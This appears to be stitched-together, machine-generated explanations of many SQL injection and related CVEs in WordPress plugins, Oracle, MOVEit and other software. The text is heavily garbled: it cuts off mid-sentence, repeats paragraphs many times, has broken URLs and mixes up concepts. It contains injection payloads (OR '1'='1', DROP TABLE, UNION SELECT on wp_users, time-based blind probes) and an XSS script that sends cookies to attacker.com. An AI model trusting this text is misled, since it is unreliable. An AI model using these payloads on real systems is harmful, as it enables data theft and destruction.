resource does not properly sanitize input, allowing an attacker to inject SQL code directly into the data.

om/feed.php?name=' OR '1'='1`. By manipulating the 'name' parameter, the attacker could cause the input being filtered or sanitized, allowing for SQL code injection.

Attackers might be able to retrieve, modify, delete, or add data, access sensitive information, escalate privileges, and more. This flaw arises because the application does not properly validate user input. Instead, it treats user input as a string and not as executable SQL code. This could involve using prepared statements with parameterized queries associated with the 'feedback' parameter of the feed.php resource. This flaw arises because the application does not properly validate user input.

If an attacker successfully injects malicious SQL code, they could potentially execute arbitrary SQL commands on the database. This could lead to data theft, privilege escalation, or even complete system compromise. For example, an attacker might be able to retrieve sensitive data from the database or modify existing records.

The severity of this vulnerability depends on the context in which it is exploited. If the application is part of a larger system, such as an e-commerce platform or a financial institution, the potential impact could be significant. It's important to note that this is a hypothetical example for educational purposes only.

It's also important to remember that this is a hypothetical example for educational purposes only. In reality, the severity of the vulnerability would depend on the specific context in which it is exploited.

For example, if an attacker successfully injects malicious SQL code, they could potentially execute arbitrary SQL commands on the database. This could lead to data theft, privilege escalation, or even complete system compromise. For example, an attacker might be able to retrieve sensitive data from the database or modify existing records.

In this example, user input is directly inserted into an SQL query, which can lead to unauthorized viewing, editing, or deletion of database records. For instance, if an attacker injects the following SQL code:

```
$sql = "SELECT * FROM users WHERE name = '$name'";  
$result = mysqli_query($connection, $sql);
```

In this example, user input is directly inserted into an SQL query, which can lead to unauthorized viewing, editing, or deletion of database records. For instance, if an attacker injects the following SQL code:

on%20Vulnerability%20in%20Database%20Backup%20Functionality.md.

base, leading to a compromise of the application that uses this database.

This is a hypothetical example for educational purposes only): ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks. This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

This is a hypothetical example for educational purposes only: ``sql' OR '1'='1'; DROP TABLE users; -- ``In the real world, it's important to use prepared statements and parameterized queries to prevent SQL injection attacks.

vulnerability was identified in the BestWebSoft Contact Form to DB plugin for WordPress. It specifically affects sensitive information, disrupt service, or potentially compromise the website by allowing unauthorized users to access the database. This vulnerability has been addressed in version 1.3.0 of the plugin.

The precise impact depends on what data and database privileges are accessible via the SQL Injection vulnerability. There is no explicit mention of a patch in the CVE details, but it's recommended to review the official documentation and security advisories for such resources to understand better the nature of the vulnerability, its potential impact, and mitigation steps.

<https://bestwebsoft.com/contact-form-to-db/>?_s_id=cve.

This affected plugin. If the plugin fails to properly sanitize the user input, this can allow the attacker to manipulate the database. This issue arises due to insufficient escaping of user-supplied parameters and lack of proper preparation of SQL queries. The attacker's input can be appended to a legitimate SQL query and executed by the plugin. This can then be used to input the malicious shortcode and carry out the SQL Injection attack.

One from Wordfence.

Vulnerability exists, a link to the changeset with a patched version, and a link to a Wordfence security advisory. The exploit code is as follows:

```
$sql = 'SELECT * FROM table WHERE column = ' . $user_input; $results = $wpdb->get_results($sql);'
```

This exploit allows an attacker to steal sensitive information, manipulate or delete data, and potentially gain further control over the website if the plugin is not updated. If an updated version is not available, administrators should consider deactivating or removing the plugin until a fix is provided. This vulnerability could be exploited by attackers to gain unauthorized access to the database.

Example: An example way to exploit this would be to inject SQL commands through a form or input field that leads to database information, manipulation of database data, or other malicious activities.

?rev=2827205#L189- https://plugins.trac.wordpress.org/changeset/2985394/wp-image-slideshow#file wp-content/themes/your-theme/functions.php function process_slideshow_shortcode(\$atts) { global \$wpdb; \$user_input = \$atts['id']; // This is a vulnerability point. An attacker can inject SQL commands here to perform deletion or manipulation of data, and possibly complete takeover of the database depending on the privileges of the user. This exploit is caused due to insufficient escaping of user-supplied parameters and lack of proper preparation in the SQL query. An attacker can exploit this vulnerability by appending additional SQL commands to the existing query, which could lead to unauthorized access to the database.

Users are at risk if they haven't been updated with a security patch to address this vulnerability. An attacker can use this exploit to steal sensitive information, or confidential site data. This information can then be used for further malicious activities. These references are available online at the following URLs:- https://plugins.trac.wordpress.org/changeset/2985394/wp-image-slideshow#file wp-content/themes/your-theme/functions.php function process_slideshow_shortcode(\$atts) { global \$wpdb; \$user_input = \$atts['id']; // This is a vulnerability point. An attacker can inject SQL commands here to perform deletion or manipulation of data, and possibly complete takeover of the database depending on the privileges of the user. This exploit is caused due to insufficient escaping of user-supplied parameters and the lack of proper preparation of SQL queries. An attacker with subscriber-level access could append additional SQL code to existing queries. Users should review the plugin's official change logs, WordPress advisories, or contact the plugin developer for more information. An attacker can use this exploit to view and steal sensitive data from the database, manipulate database data, or corrupt it. If a fix is available, users should consider disabling the plugin until a fix is provided to prevent potential exploitation. An attacker can use this exploit to execute SQL queries akin to the following pseudo-code:\$sql = "SELECT * FROM table WHERE filter='". \$_POST['filter']."'"; This exploit is caused due to insufficient preparation of SQL queries, which allows for SQL Injection attacks. Attackers with subscriber-level access can use this exploit to manipulate database data, or even take over the entire website if they have sufficient privileges.

y by appending additional SQL statements to the plugin's shortcode parameter, which lacks proper escape, it's likely to be considered a serious vulnerability.

s made to fix the vulnerability, and security advisories from organizations like Wordfence. Here are some examples of how to use the Up down image slideshow gallery plugin to insert extra SQL code. For

jQuery. This allows attackers to append additional SQL queries into already existing queries.

Wordfence threat intelligence vulnerability database.

ed into an SQL query without proper sanitization. For example: \$unsafe_parameter = \$_GET['parameter']. By inserting a specially crafted parameter to the shortcode, an attacker could potentially run arbitrary SQL commands to manipulate the database. The issue stems from insufficient escaping of user-supplied parameters and a lack of proper preparation of the SQL query. This can lead to the unauthorized ability to append additional SQL queries to existing database statements.

[message-ticker/trunk/message-ticker.php?rev=2827131#L142](https://github.com/WordPress/WordPress/commit/2827131) - A changeset on the WordPress plugin repository.

nalicious SQL statements into the shortcode used by the Message ticker plugin. For instance, the attack arises due to the plugin's shortcode handling mechanism, where user-supplied parameters are not checked for SQL injection. This vulnerability allows attackers the ability to access, modify, or delete data and potentially gain administrative rights to a web application.

ns that even users with basic privileges, which are typically granted for simple interactions like commenting. The vulnerability could then be used in a post or a comment, depending on the plugin's configuration and permission settings. A specific revision where the vulnerability exists: <https://plugins.trac.wordpress.org/browser/left-right-image/1.0.1>

queries, leading to the extraction of sensitive information from the database.

Plugin for WordPress.

827068#L92- https://plugins.trac.wordpress.org/changeset/2985559/jquery-news-ticker#file1- https://reparation. For instance: ``\$unsafe_parameter = \$_POST['parameter']; // user-suppliedquery = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' AND post_content LIKE '%{\$unsafe_parameter}%';". The attacker would need to have at least subscriber-level access to the WordPress site and would e

Thanks to improper escaping of user-supplied parameters and an insufficiently prepared SQL query, it allows attackers to append malicious SQL statements to the plugin's existing queries, potentially leading to a database compromise.

Some references:- <https://plugins.trac.wordpress.org/browser/information-reel/trunk/information-reel>
The code takes a parameter 'id' from the user:[info_reel id="1"] The SQL query in the plugin is improperly constructed.

ersonal information from the WordPress site's database. The attacker could also potentially modify or delete data by exploiting insufficient escaping of user-supplied parameters and inadequate preparation of SQL queries, which can be exploited to inject malicious code. If the query is not properly sanitized, the attacker can append extra SQL statements to the existing query, leading to a SQL Injection vulnerability. This can be used to extract sensitive information, credentials, site content, or other confidential data. The attacker might also be able to manipulate the database by injecting malicious code into a shortcode such as: [image-vertical-reel id='1 UNION SELECT username, password FROM wp_users;'. For more details, refer to the official documentation at <https://codex.wordpress.org/WordPress.org/browser/image-vertical-reel-scroll-slideshow/trunk/image-vertical-reel-scroll-slideshow.php>.

versions up to and including 13.2. It is caused by inadequate escaping of user-supplied parameters and due to their potential to compromise database integrity, leak sensitive information, and in some cases, patched the vulnerability to ensure their WordPress site remains secure.

ed by users who have basic privileges to log in to the WordPress site and perform actions typically allowed by users with higher privileges. The attack vector is a URL that contains additional SQL commands appended to the legitimate query. Since the input is not properly sanitized, the plugin fails to correctly handle the input, leading to a SQL injection vulnerability. This issue was identified by Wordfence, a security plugin for WordPress, which released a patch to fix the vulnerability. The patch includes changes to the plugin's code to ensure proper sanitization of user input. The last link in the chain leads to a detailed report by Wordfence, which provides more information about the vulnerability and how it can be exploited.

existing ones, potentially extracting sensitive information from the WordPress database.

made Simple plugin that includes additional SQL statements. For instance: [google_map id='1' UNION is available. If no updated version is available, consider disabling or removing the plugin until a fix is released. Specifically, the 'setcasualleave' parameter in the admin/setleaves.php resource is prone to SQL injection through the application's input fields.

/setleaves.php resource by injecting malicious SQL code. An example of the exploit might look something like this: `http://www.vulnerablesite.com/setleaves.php?leaves=1 OR 1=1`. This exploit would lead to unauthorized viewing of data, data tampering, data destruction, and sometimes even administrative commands.

er insights into the vulnerability, including details about the discovery, scope, and potential mitigation

closure if exploited by a user with execution privileges, and the exploitation does not require user input or SQL injection via unsafe deserialization.

| to remote vulnerabilities that could be exploited without any existing system access.

7967f8e3aed33954253 and <https://source.android.com/security/bulletin/2023-10-01>.

`EscapedSQLString`, could manipulate the SQL commands executed by the application, potentially leading to SQL injection.

`QLString` method. Since user interaction is not needed, the vulnerability could be exploited through an input resource, which is susceptible to SQL injection due to improper validation and sanitation of the input.

I even full database compromise if the SQL Injection vulnerability is fully exploited.

Characters are handled correctly. Using prepared statements and parameterized queries can also help.

tches may be available at <https://projectworlds.in/>.

. For instance, the attacker might make a GET request to `http://<target-server>/header.php?add3=1`

hing like this: header.php?add2=' OR '1'='1' -- . This input could manipulate the database query, bypass security checks. The attack could be as simple as an unauthorized user injecting a malicious SQL statement through the 'add2' parameter in the 'add1' parameter of the header.php resource, allowing attackers to send malicious SQL queries that compromise the integrity, confidentiality, and availability of the data.

In the bypassing of authentication, extraction of sensitive data, manipulation of database information, or a URL or form input that, when processed by the vulnerable website, could lead to the disclosure of

ly, this vulnerability is related to the improper validation of the 'contact' parameter in the header.php queries through the 'contact' parameter of the header.php resource. Since the application does not pro

page. The attacker can perform a variety of malicious actions, such as extracting sensitive data from the page?php// Assume \$_GET['contact'] is retrieved from the URL query parameter 'contact' \$contact = \$_GET['contact']; if (\$contact == 'admin') { header('Content-Type: application/json'); echo json_encode(['message' => 'Welcome, Admin!']); } else { header('Content-Type: application/json'); echo json_encode(['message' => 'Access denied.']); } // The 'email' parameter of the header.php resource is handled; it does not properly validate input, allowing the attacker to inject malicious SQL code through the 'email' parameter of the header.php resource without needing to escape it.

Inevitable code \$email = \$_GET['email']; \$sql = "SELECT * FROM users WHERE email = '\$email'"; // This would retrieve sensitive database information, manipulate data, or even drop tables. They could craft a malicious payload. Additionally, you can check out the '<https://projectworlds.in/>' website which could have more information.

```
)M users WHERE gender = ' . ""'' . $gender . ""'';$result = mysqli_query($conn, $query); // ... additional c
```

rsonal data of users, and in some cases, an attacker may even gain administrative access to the application.

`header.php` resource is vulnerable as it fails to validate input before passing it to the database, leading to a database, but each case may vary, and official scoring should be referred to once it is available.

ty is an unauthenticated SQL Injection, the attacker does not need valid user credentials. Once the mal-
worlds.in/'. Please note that there seems to be a typo in the second URL with an extra 'https://', it should

ould send a request to the affected resource with an 'fnm' parameter set to a value like '1' OR '1'='1' w|

e database and sensitive data exposure.

base password.

rtext. With this access, the attacker could read and potentially exfiltrate the database password, allow administrative access controls to ensure that only trusted users have administrative privileges and m m improper validation of the 'lnm' parameter in the header.php resource, which allows malicious SQL indicate themselves within the application.

g the 'lnm' parameter. Since the application fails to properly sanitize the input, this SQL code can trick ls, manipulate data to disrupt the application's integrity, or leverage the vulnerability to escalate privil ct Worlds domain, though the provided URL seems to contain an error and may need to be corrected t Scoring System) score, but it appears to be missing or not yet assigned for this particular CVE at the tim en accessed with the '?depth=<N>' query parameter, inadvertently expose hashed user passwords to a

query parameter ('?depth=<N>'), could access the hashed passwords stored in the database. This situati <N>. This would result in the API response that includes the hashed passwords of users. Depending on 53675e5d40d71), the related GitHub pull request (<https://github.com/nautobot/nautobot/pull/4692>), never, since that data is not available, users should review the given references and assess the risk bas recredentials to authenticate with the system before attempting to exploit the vulnerability.

e to retrieve configuration information that includes details about internal infrastructure.

I 2.22.1 at `https://github.com/ethyca/fides/releases/tag/2.22.1`.

guration data about Fides' backend infrastructure. Armed with details like server addresses, ports, anc acks against the ClearPass Policy Manager instance, which could lead to disclosure and modification of

es, including unauthorized data access, data manipulation, disruption of service, and could lead to the oloiting the SQL injection vulnerability, the attacker could interfere with the structure of the SQL stater ts/alert/ARUBA-PSA-2023-016.txt.

injection vulnerability by manipulating input fields or URL parameters to insert or alter SQL command: hod which could allow an attacker to cause a denial of service or potentially steal database login crede

could be stolen by an attacker due to the missing authentication in the SetDB method.

ay result in denial of service or could allow an attacker to intercept and steal database credentials. iation and access control mechanisms to prevent unauthorized access to the SetDB method. Regular s

i's [horizontal-scrolling] shortcode in versions up to and including 9.2. The vulnerability is caused by in:

ouncement.php#L79 and <https://www.wordfence.com/threat-intel/vulnerabilities/id/bf50922a-58a6> specially crafted page or post that includes the [horizontal-scrolling] shortcode with injected SQL code. A Injection vulnerability is in the shortcode processing that occurs within the permissions context of the ion is not available yet, developers should consider disabling the plugin until a patch is released. Addit ode processing codeadd_shortcode('horizontal-scrolling', 'h_scroll_func');function h_scroll_func(\$atts)

n user-supplied parameters and a lack of proper preparation in SQL queries. This flaw allows authentic on 3.7.

rms or tags. This could lead to unauthorized actions such as reading sensitive data from the database, ?rev=1117224#L69- The Wordfence threat intelligence report at <https://www.wordfence.com/threat-ir> n issue that arises due to insufficient escaping on a user-supplied parameter and a lack of preparation

gh the plugin's shortcode. Due to insufficient escaping of user-supplied parameters and inadequate pr he Slimstat Analytics plugin's shortcode, which is where the vulnerability resides.

e, such as user credentials, personal data, or proprietary content. They can also manipulate database d

ins.trac.wordpress.org/browser/wp-slimstat/tags/5.0.8/admin/view/wp-slimstat-db.php#L970- The ch

engineering, brute force attack, or exploiting another vulnerability. Once authenticated as a contribut variable in the `app/domain/files/repositories/class.files.php`. This flaw allows an authenticated attac e system's database. By exploiting this vulnerability, an attacker could potentially access user data, pr '.

eterization: ``php\$userId = \$_POST['userId'];\$sql = "SELECT * FROM files WHERE owner_id = '\$userId'" L statements. This could lead to unauthorized data extraction from the database, tampering with data, :7079a62eef3594bf0, as well as in the security advisory published on GitHub at <https://github.com/Le>

e exposed if they were serialized into an error message using a statement like `fmt.Errorf("something \ logged during a connection error to the YDB server and logs are not properly secured or monitored.

I sensitive information being logged.

:o connect to YDB: %v (credentials: %q)", err, credentials))}```In this example, sensitive data within the c
have been leaked due to the vulnerability. Using those credentials, the attacker could then potentially :
g of Directus. Specifically, any Directus installation with websockets enabled may crash if it receives ar
se the server to crash. This type of attack might be executed with the intent to cause a denial-of-servic

oid using websockets until the update can be applied to avoid the vulnerability.

: related commit that fixed the issue at '<https://github.com/directus/directus/commit/243eed781b42c>

he vulnerable Directus instance, the improper handling of the frame by the websocket server could le
d parameter and a lack of preparation in the SQL query, which allows unauthenticated attackers to pe
SQL query is not adequately prepared, an attacker can inject SQL code that will be executed by the da

ot-4.8.9-SQL-Injection-Traversal-File-Deletion.html', the WordPress plugin repository's Trac browser, c
updates and apply them, as well as to monitor security advisories for any new information regarding
/wp-content/plugins/chatbot/qclt-wpbot-search.php?strid=1' OR '1'='1'. In this example, an attacke
, personal data, posts, pages, and proprietary or confidential content, depending on what information
e manipulation, enabling attackers to alter or destroy data; and possibly further attacks, such as lateral
s up to, and including, 1.8.0. It occurs due to inadequate escaping of user-supplied parameters and a la
Press Virtual Tour Builder plugin (up to version 1.8.0). These attackers can craft malicious SQL stateme
SQL statement. An example of such an attack would involve appending a SQL command to an existing
n vulnerability. In general, keeping all WordPress plugins, themes, and core software updated to the la
vulnerabilities such as Wordfence. Direct links to references for this CVE include the following:- Source
egrity of the site is also at risk, as the attacker may modify data within the database. While the availabi
ons due to the umask setting, leading to a race condition that could allow unauthorized connections.

task, or store the Unix socket file in a directory with restricted access.

ded configuration without leaving a window for unauthorized access.

initial permissions set by a permissive umask.

oplied by Redis. If successful, the attacker could gain unauthorized access to the Redis database.

utions like Debian and Fedora, and security advisories from vendors like NetApp.

ed attacker with Create Session and Create Procedure privileges and network access via Oracle Net to c

zed as easily exploitable.

s of the vulnerability.

ges required, and has no user interaction, but it affects integrity without confidentiality or availability i

alicious stored procedure that exploits the Java VM vulnerability, allowing them to alter database reco
ions 19.3 through 19.20 and 21.3 through 21.11. It could allow a high-privileged attacker with DBA acc

atabase Recovery Manager. By exploiting this vulnerability, an attacker can trigger a denial of service |

threat or someone who has already compromised a DBA account.

undergo a frequently repeatable crash.

exploitable vulnerability that allows a highly privileged attacker with certain privileges and network ac

e exploit.

lability.

ponent that is exploited through specific privileges and network access and does not involve code that
Oracle Database Sharding component. Since the exploit requires human interaction from someone other
vector string is given as 'CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:L'.

atabase Sharding component.

vileges.

ent. The attacker would exploit the vulnerability over the network using Oracle Net, potentially requi
man interaction.

tes.

verage the vulnerability to intercept and read sensitive data being processed by the server, without re

ta, and unauthorized ability to cause a partial denial of service (partial DOS) of PL/SQL.

acker would require human interaction, perhaps tricking a legitimate user into performing an action that allows an authenticated attacker with creator access to execute arbitrary SQL queries on the underlying database. Since the vulnerability is blind, the attacker might use time-based techniques. For example, they could include SQL commands such as `WAITFOR DELAY '00:00:05'` in T-SQL or `pg_sleep(5)` in PostgreSQL that would take a long time to execute, allowing the attacker to remediate the issue.

The issue in this release, and there are no known workarounds for CVE-2023-43794, so upgrading is the best course of action, or even drop tables in the underlying database. This could lead to data leaks, data corruption, or data loss. [Security/advisories/GHSA-3m5q-q39v-xf8f](#). This advisory contains details on the vulnerability and instructions for remediation.

These are 'https://exchange.xforce.ibmcloud.com/vulnerabilities/261607', 'https://security.netapp.com/advisory/NetApp-2023-0006.html'. An attacker could send crafted requests or perform specific actions to cause the database to deactivate improperly, leading to a denial of service.

Following the remediation steps provided by the vendor to protect their systems.

20231116-0006/- <https://www.ibm.com/support/pages/node/7047560>

This advisory provides details on a critical vulnerability in IBM Db2 databases. The vulnerability is a SQL injection that allows authenticated attackers to extract arbitrary data from the application's database. Vulnerabilities are generally considered critical because they enable attackers to manipulate a database or gain unauthorized access to sensitive information. The vendor has released a fix for this issue. It is recommended that users apply the update as soon as possible to ensure they are protected.

GHSA-pgq5-ff74-g7xq. This advisory will provide additional details on the vulnerability, including technical details and recommendations for maintaining the security of systems running the Farmbot-Web-App.

This endpoint is vulnerable to an SQL injection via the 'sorting' parameter, which can be exploited to manipulate the results of the query. Nonetheless, SQL injection vulnerabilities can be severe because they potentially allow an attacker to

alter or delete data, escalate their privileges within the application, or potentially use the collision vulnerability.

re database, modify database data, or potentially execute administrative operations on the database.

in the service, allowing an unauthenticated, remote attacker the ability to read or modify database da

around 12 August 2023.

ich could lead to unauthorized data exposure, corruption, or deletion. An attacker could potentially alt
ons.pdf, the Election Services Co. website at https://www.electionservicesco.com/pages/services_int
nd the 'electionId' parameter is susceptible to SQL injection. An attacker could craft a URL like <http://el>
n and vote tallies.2. The ability to manipulate election results by modifying data within the database.3.
ized users to access sensitive data if the information is intercepted or accessed.

purposes.

ure the principal characteristics of a vulnerability and produce a numerical score reflecting its severity

nowledge base article that further discusses the CVE, affected versions, mitigation techniques, and oth
software that are still actively supported.

is network interception, unauthorized database access, or exploiting another vulnerability that gives a
odule versions prior to 5.10.0, where the database can become unstable and reporting almost fully sto

ld type is exceeded in the 'test_item.path' field, which corresponds to a path length of approximately :
it reduction in reporting capabilities, allowing only small launches with about 1 test to be reported pro
iting the maximum number of nested elements.

'_idx' indexes. After performing these steps, the database stability is restored, and ReportPortal functi
steps that exceed the 'ltree' indexing limit. This could lead to denial of service (DoS) by causing the Re

ease notes: <https://github.com/reportportal/reportportal/releases/tag/v23.2>- GitHub security advisor
ould exploit these credentials to access camera information, user details, and modify database record
coded credentials, which could potentially be exploited by an attacker to gain unauthorized access to se

vacy violations, security breaches, and unauthorized system modifications.

[gov/news-events/ics-advisories/icsa-23-278-02](https://icsa.fcc.gov/news-events/ics-advisories/icsa-23-278-02).

Id log in to the system with the same access rights as a legitimate user. Once authenticated, the attack
e updates is critical to preventing potential exploitation of the hard-coded credential vulnerability.

rameter within the 'BuscarESM' function, which could allow a remote attacker to interact with the dat
d by the application, it can lead to unauthorized database access or manipulation.

per input validation or sanitization, an attacker could inject SQL code such as 'OR '1'='1' to manipulate t
'here' parameter to inject malicious SQL commands into the 'BuscarESM' function. This could allow the
nsitive information from the database by sending specially crafted SQL queries to the 'xml' parameter
tive data in the database.

, or any other sensitive data that is stored in the database and is accessible through the vulnerability.

parameter containing SQL logic such as `1' AND SUBSTRING(version(), 1, 1) = '5'; --` to check if the first character is a '5'. The attacker then crafts a series of Blind SQL injection queries and sends them through the interface, allowing the attacker to extract credentials. An attacker exploiting this vulnerability could potentially extract these credentials and may leverage them to gain access to the system. Once obtained, the attacker could use the credentials to carry out remote execution.

A user who is logged into the WordPress dashboard with adequate privileges, causes an unintended action by entering a malicious URL like <http://example.com/wp-admin/WordPress-optimize-database-after-deleting-revisions-plugin-5-0-110-cross-site-request-forgery-csrf-vulnerability>. The application fails to properly validate or require a CSRF token when processing state-changing requests. In a vulnerable plugin, an attacker can exploit this vulnerability by sending a POST request to the "/leaves/validate" path and the "id" parameter, potentially accessing or manipulating arbitrary data, leading to a loss of data integrity, and availability. It would depend on the context of the specific application and environment.

If a user enters a request with parameter 'id' having a value such as '1 OR 1=1'. If the application does not properly validate or require a CSRF token when processing state-changing requests, the attacker can exploit this vulnerability to gain unauthorized control, manipulate transaction results, and alter or delete data, corrupting the application's integrity. Worst-case scenarios include data loss and system compromise.

This method is known as a SQL injection attack.

The attacker can use various methods to trigger the vulnerability, such as:

1. Direct URL manipulation: An attacker could exploit the vulnerability to gain unauthorized control, manipulate transaction results, and alter or delete data, corrupting the application's integrity. Worst-case scenarios include data loss and system compromise.

2. Through a CMS plugin: An attacker could exploit the vulnerability to gain unauthorized control, manipulate transaction results, and alter or delete data, corrupting the application's integrity. Worst-case scenarios include data loss and system compromise.

3. Through a database query: An attacker could exploit the vulnerability to gain unauthorized control, manipulate transaction results, and alter or delete data, corrupting the application's integrity. Worst-case scenarios include data loss and system compromise.

An attacker could exploit the vulnerability to gain unauthorized control, manipulate transaction results, and alter or delete data, corrupting the application's integrity. Worst-case scenarios include data loss and system compromise.

ploit would likely involve sending crafted requests to the server in an attempt to bypass permission checks or gain unauthorized access to sensitive data, or potentially compromise the entire CMS by exploiting the presence of user entries at <https://vuldb.com/?ctiid.240872> and <https://vuldb.com/?id.240872>. Data is sent to the database, which can lead to potential security risks such as SQL injection attacks. To prevent SQL injection if an attacker inputs malicious SQL code as part of the 'phone' parameter, the application could inject malicious SQL statements that would be executed by the database. For example, an attacker could send a query like:

' OR '1'='1; DROP TABLE users; --'. Without proper validation, this code may be executed by the database, potentially leading to unauthorized access to the back-end systems, potentially leading to security issues received, and as a result, the input is sent unfiltered to the database, potentially leading to security issues in process_registration.php.

The application should use prepared statements with parameter binding, using whitelisting to allow only valid characters, employing a regular expression to validate the inputs, and using a database connection that receives data from the user is sent to the database without any filtering, which can lead to security issues.

Unauthorized data access, data tampering, and potential compromise of the database integrity and confidentiality.

CVSS score when interacting with the database, employing regular expressions to validate the inputs, and using a database connection that receives data from the user is sent to the database without any filtering. This lack of validation could potentially lead to SQL injection attacks or other security issues. Prepared statements with parameterized queries when interacting with the database. If the parameter is not properly validated, the malicious SQL code could be executed by the database, leading to unauthorized data access, data tampering, and potential compromise of the database integrity and confidentiality. CVSS score provides an open framework for rating the severity of security vulnerabilities. It helps the system to SQL injection attacks.

If the attacker gains access to the backend database, the attacker could potentially read sensitive data, manipulate database entries, or delete data. For example, the attacker could execute a query like:

" WHERE email = '\$email"'; // Database query execution without proper filtering or prepared statements leads them to the database unfiltered.

A user might be submitting a search query like ""; DROP TABLE users; --". This input could lead to the execution of a malicious SQL command.

jection attacks.

ly, the use of prepared statements or parameterized queries in the database interactions would prevent database. This could potentially allow for SQL injection or other forms of attacks since the input is un

hich are sent unfiltered to the database.

At the base score is currently marked as 'N/A' (not available).

of the cart.php resource. Since the parameter does not validate input, the malicious code could be executed potentially vulnerable to SQL injection \$bookISBN = \$_GET['bookisbn'];\$query = 'SELECT * FROM book

' User input is not properly sanitized \$query = "SELECT * FROM users WHERE first_name = '\$firstName'" modifying data, deleting information, or executing administrative actions within the Asset Management system. In the 'email' parameter of the index.php page. This issue allows an external attacker to execute arbitrary SQL queries. If the application does not properly sanitize input, attackers could exploit this weakness to access, modify, or delete data in the database. For example, if the query is constructed as \$sql = "SELECT * FROM users WHERE email = '\$email"';\$result = mysql_query(\$sql);`` In this hypothetical scenario, the attacker could query the database, such as confidential documents, personal information, credentials, etc. 2. Login Bypass: External Attackers can bypass login mechanisms by injecting malicious code into the login form. For instance, they could inject a script like <script>document.cookie.split('; ').map(c => fetch('http://attacker.com/steal?cookie=' + c)).join('; ')</script>. If the application fails to properly validate user input, it will execute this script in the browser context, allowing the attacker to steal session cookies and gain unauthorized access to the system.

: comments, potentially allowing an attacker to control the user's browser and achieve malicious objectives.

: out this cool link!</p> <script>document.cookie.split('; ').map(c => fetch('http://attacker.com/steal?cookie=' + c)).join('; ')</script>. By injecting a comment, the script executes in their browser context. The script could be designed to steal cookies, run arbitrary commands, potentially leading to remote code execution and root privilege escalation on the system. MongoDB database. Once logged in, the user can exploit the MongoDB session to execute arbitrary commands by the vulnerability.

such as data theft, system damage, or further compromise of the network. Moreover, this exploit could be used to bypass login checks. 3.7.1.

sories/GHSA-4r5x-x283-wm96

latabase. The attacker then exploits a flaw in the MongoDB session handling to insert or execute arbitrary commands, such as inserting a new document or updating an existing one. This allows the attacker to alter the database content. For example, the attacker could insert a new document with sensitive information or update an existing document to change its value. This could lead to data theft, system damage, or further compromise of the network. Moreover, this exploit could be used to bypass login checks. 3.7.1.

yAdvisory/cisco-sa-sdwan-vman-sc-LRLfu2z.

P request targeting the device on port 9200, utilizing the static credentials present in the vManage software with editor-level permissions or higher to execute unintended database operations.

ction can lead to unauthorized data access, data manipulation, and in worst-case scenarios, full control

//www.welcart.com/archives/20106.html.

Due to the SQL injection vulnerability, the specially crafted query would be executed by the platform's guidelines on how to mitigate the vulnerabilities once they become publicly known.

arily stored in the server database, potentially being included in database backups and therefore longer

tion than expected if they are captured in database backups.

://github.com/matrix-org/synapse/security/advisories/GHSA-4f74-84v3-j9q5, and Fedora Project mailing lists. It is possible to intentionally decrypt the passwords if not properly hashed, leading to account compromise and unauthorized access to the WS_FTP Server manager interface. It could allow an attacker to extract information about the data stored in the database.

able to gain unauthorized access to sensitive information stored in the database, modify or corrupt data. Version 3 - https://www.progress.com/ws_ftp

versions contain fixes for the SQL injection vulnerability. Regularly updating software and applying security patches, if the interface is susceptible to SQL injection, input like "username'; DROP TABLE users; --" could be used. By exploiting login forms, search fields, or URL parameters with malicious SQL statements, the attacker could exploit this vulnerability. This flaw can allow attackers to inject malicious code into the database. Such vulnerabilities can be particularly dangerous because the injected scripts are persistent and can affect multiple users.

in-1-7-0-unauthenticated-cross-site-scripting-xss-vulnerability?_s_id=cve.

This vulnerability is a stored XSS, the malicious script would be saved in the database and then executed in the user's browser. An attacker would use JavaScript as part of an input to a form that is then stored and reflected back in the response.

tion. Attackers may execute scripts in the victim's browser to hijack user sessions, deface websites, or

potential mitigations.

the Database User, or Database Port fields. When an administrator or user accesses the infected interface, the application would attempt to execute the injected script.

re being used within the application. Regularly monitoring official resources for updates on the vulnerability. If an attempt is made to execute a malicious script, it would be rendered without proper sanitization, it would execute an alert box in the user's browser, indicating the presence of the exploit.

ions of TaxonWorks prior to 0.34.0. This vulnerability allows authenticated attackers to execute arbitrary

information disclosure, including potentially accessing sensitive information from the users' table. Vulnerability.

FROM users WHERE name = "" + user_input + """ database.execute(query)``` If a user inputs a string like

not properly sanitized and used in SQL queries against the database. This could result in the extraction security/advisories/GHSA-m9p2-jxr6-4p6c and the commit addressing the issue at <https://github.com/ich> allows an attacker to execute arbitrary SQL commands on the underlying database through the app

, or even destroying the data altogether. An attacker may be able to bypass application security mechanisms controls and structure of the database. This could include user credentials, personal information,

the official FUXA Github repository at '<https://github.com/frangoteam/FUXA>', and a YouTube video di announced. It's essential to keep the software up-to-date with the latest security patches. Additionally, if a registration form field fails to sanitize user input correctly, an attacker could enter SQL commands like " OR 1=1". Vulnerability that can be exploited via manipulated parameters of the web interface without requiring authentication.

<https://www.cisa.gov/cisa-releases-vulnerability-advisory-vde-2023-038>.

ed by the FDS101 system's web interface without proper sanitization. For example, an attacker might modify proper input validation, prepared statements, and stored procedures to protect against SQL injection. Versions 9 (14.1.9), and 2023.0.6 (15.0.6). The vulnerability lies within the MOVEit Transfer machine interface which could allow the attacker to modify and disclose sensitive data within the MOVEit Transfer database of data, data corruption, and other malicious database manipulations.

on, manipulate database data, delete records, or in some cases, gain administrative privileges within the system. Versions 0.8, 2022.1.9 (14.1.9), and 2023.0.6 (15.0.6). Users of the affected software are advised to update to the latest patch available: <https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-September-2023>. Apply patches as soon as possible.

